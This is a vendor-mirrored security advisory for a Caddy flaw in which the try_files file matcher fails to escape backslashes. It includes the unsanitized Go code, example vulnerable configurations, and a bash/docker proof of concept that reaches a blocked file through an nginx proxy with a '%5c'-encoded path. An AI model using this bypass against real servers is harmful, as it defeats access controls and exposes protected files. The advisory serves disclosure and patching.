GHSA-4xrr-hq4w-6vf4
Caddy: Improper sanitization of glob characters in file matcher may lead to bypassing security protections
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/caddyserver/caddy/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.
Details
The try_files directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html.
example.com {
root * /srv
encode
try_files {path} /index.html
file_server
}
try_files patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with
the request path and then is expanded by fs.Glob. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part.
var globSafeRepl = strings.NewReplacer(
"*", "\\*",
"[", "\\[",
"?", "\\?",
)
expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {
if runtime.GOOS == "windows" {
return val, nil
}
switch v := val.(type) {
case string:
return globSafeRepl.Replace(v), nil
case fmt.Stringer:
return globSafeRepl.Replace(v.String()), nil
}
return val, nil
})
The problem here is that it does not escape backslashes. /something-\*/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.
The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello* matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/* to the internal network and its upstream is a Caddy server that uses try_files, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.
Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the try_files directive and the filtering route/handle must not be in a same block because try_files directive executes before route and handle directives.
For example the following config isn't vulnerable.
:80 {
root * /srv
route /documents/* {
respond "Access denied" 403
}
try_files {path} /index.html
file_server
}
But this one is vulnerable.
:80 {
root * /srv
route /documents/* {
respond "Access denied" 403
}
route /* {
try_files {path} /index.html
}
file_server
}
This config is also vulnerable because Header directives executes before try_files.
:80 {
root * /srv
header /uploads/* {
X-Content-Type-Options "nosniff"
Content-Security-Policy "default-src 'none';"
}
try_files {path} /index.html
file_server
}
PoC
Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.
#!/bin/bash
mkdir secret
echo 'some content' > secret/secret.txt
cat > Caddyfile <<'EOF'
:80 {
root * /srv
try_files {path} /index.html
file_server
}
EOF
cat > nginx.conf <<'EOF'
events {}
http {
server {
listen 80;
location /secret {
return 403;
}
location / {
proxy_pass http://caddy;
proxy_set_header Host $host;
}
}
}
EOF
cat > docker-compose.yml <<'EOF'
services:
caddy:
# caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb
image: caddy:latest
volumes:
- ./Caddyfile:/etc/caddy/Caddyfile:ro
- ./secret:/srv/secret:ro
nginx:
# nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208
image: nginx:latest
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
ports:
- "8000:80"
EOF
docker compose up -d
curl 'localhost:8000/secre%5ct/secret.txt'
Impact
This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.
AI Usage
An LLM was used to polish this report.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/caddyserver/caddy/v2 | all versions | 2.11.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/caddyserver/caddy/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/caddyserver/caddy/v2 to 2.11.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4xrr-hq4w-6vf4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4xrr-hq4w-6vf4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4xrr-hq4w-6vf4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4xrr-hq4w-6vf4 in your dependencies?
O3 detects GHSA-4xrr-hq4w-6vf4 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.